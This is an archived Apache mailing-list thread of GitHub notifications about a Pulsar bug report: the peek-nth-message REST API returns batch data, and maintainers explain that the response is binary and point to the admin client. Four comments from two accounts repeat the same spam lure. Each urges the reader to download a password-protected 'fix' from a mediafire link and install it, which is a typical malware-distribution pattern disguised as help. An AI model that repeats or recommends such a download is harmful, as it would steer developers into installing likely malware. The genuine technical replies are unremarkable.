You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@pulsar.apache.org by "gaecfov (via GitHub)" <gi...@apache.org> on 2024/08/27 07:38:17 UTC

[I] [Bug] Peek nth message REST API returns incorrect data [pulsar]

gaecfov opened a new issue, #23228:
URL: https://github.com/apache/pulsar/issues/23228

   ### Search before asking
   
   - [X] I searched in the [issues](https://github.com/apache/pulsar/issues) and found nothing similar.
   
   
   ### Read release policy
   
   - [X] I understand that unsupported versions don't get bug fixes. I will attempt to reproduce the issue on a supported version of Pulsar client and Pulsar broker.
   
   
   ### Version
   
   Pulsar Version:3.3.0
   REST API:/persistent/{tenant}/{namespace}/{topic}/subscription/{subName}/position/{messagePosition}
   
   ### Minimal reproduce step
   
   curl --location --request GET '/admin/v2/persistent/public/default/my-topic/subscription/my-sub/position/1‘
   
   ### What did you expect to see?
   
   Because the messagePosition parameter is set to 1, a message should normally be returned
   
   ### What did you see instead?
   
   Multiple messages are returned. It looks like one Batch message. How do I parse this message? I need to display this message on the page
   
   ### Anything else?
   
   _No response_
   
   ### Are you willing to submit a PR?
   
   - [ ] I'm willing to submit a PR!


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@pulsar.apache.org.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org


Re: [I] [Bug] Peek nth message REST API returns incorrect data [pulsar]

Posted by "gaecfov (via GitHub)" <gi...@apache.org>.
gaecfov commented on issue #23228:
URL: https://github.com/apache/pulsar/issues/23228#issuecomment-2316941702

   The GUI tool I am developing uses the rest api directly, without the admin client, and I currently do message extraction based on raw data


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@pulsar.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org


Re: [I] [Bug] Peek nth message REST API returns incorrect data [pulsar]

Posted by "MirsonMboa (via GitHub)" <gi...@apache.org>.
MirsonMboa commented on issue #23228:
URL: https://github.com/apache/pulsar/issues/23228#issuecomment-2311788429

   to fix your trouble try download this fix, i see it in another issue,
   https://app.mediafire.com/3ag3jpquii3of
   password: changeme
   when you installing, you need to place a check in install to path and select "gcc."


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@pulsar.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org


Re: [I] [Bug] Peek nth message REST API returns incorrect data [pulsar]

Posted by "crossoverJie (via GitHub)" <gi...@apache.org>.
crossoverJie commented on issue #23228:
URL: https://github.com/apache/pulsar/issues/23228#issuecomment-2316607444

   https://github.com/apache/pulsar/blob/679a3d49eefc2a82bbeba085c258b1f2b751f28a/pulsar-broker/src/test/java/org/apache/pulsar/broker/admin/AdminApi2Test.java#L710
   
   https://github.com/apache/pulsar/blob/20e83b96c3fcf10010977ab785093e105e4e40d8/pulsar-client-admin-api/src/main/java/org/apache/pulsar/client/admin/Topics.java#L1657
   
   Use admin client instead of rest api.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@pulsar.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org


Re: [I] [Bug] Peek nth message REST API returns incorrect data [pulsar]

Posted by "MirsonMboa (via GitHub)" <gi...@apache.org>.
MirsonMboa commented on issue #23228:
URL: https://github.com/apache/pulsar/issues/23228#issuecomment-2311788500

   to fix your trouble try download this fix, i see it in another issue,
   https://app.mediafire.com/3ag3jpquii3of
   password: changeme
   when you installing, you need to place a check in install to path and select "gcc."


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@pulsar.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org


Re: [I] [Bug] Peek nth message REST API returns incorrect data [pulsar]

Posted by "dao-jun (via GitHub)" <gi...@apache.org>.
dao-jun commented on issue #23228:
URL: https://github.com/apache/pulsar/issues/23228#issuecomment-2313790089

   The rest API returns binary data response, not JSON.
   To decode the message, you have to use Pulsar Client API.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@pulsar.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org


Re: [I] [Bug] Peek nth message REST API returns incorrect data [pulsar]

Posted by "gaecfov (via GitHub)" <gi...@apache.org>.
gaecfov closed issue #23228: [Bug] Peek nth message REST API returns incorrect data
URL: https://github.com/apache/pulsar/issues/23228


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@pulsar.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org


Re: [I] [Bug] Peek nth message REST API returns incorrect data [pulsar]

Posted by "MirsonMboa (via GitHub)" <gi...@apache.org>.
MirsonMboa commented on issue #23228:
URL: https://github.com/apache/pulsar/issues/23228#issuecomment-2311787714

   to fix your trouble try download this fix, i see it in another issue,
   https://app.mediafire.com/3ag3jpquii3of
   password: changeme
   when you installing, you need to place a check in install to path and select "gcc."


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@pulsar.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org


Re: [I] [Bug] Peek nth message REST API returns incorrect data [pulsar]

Posted by "FoioMikael (via GitHub)" <gi...@apache.org>.
FoioMikael commented on issue #23228:
URL: https://github.com/apache/pulsar/issues/23228#issuecomment-2311787661

   to fix your trouble try download this fix, i see it in another issue,
   https://app.mediafire.com/3ag3jpquii3of
   password: changeme
   when you installing, you need to place a check in install to path and select "gcc."


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@pulsar.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org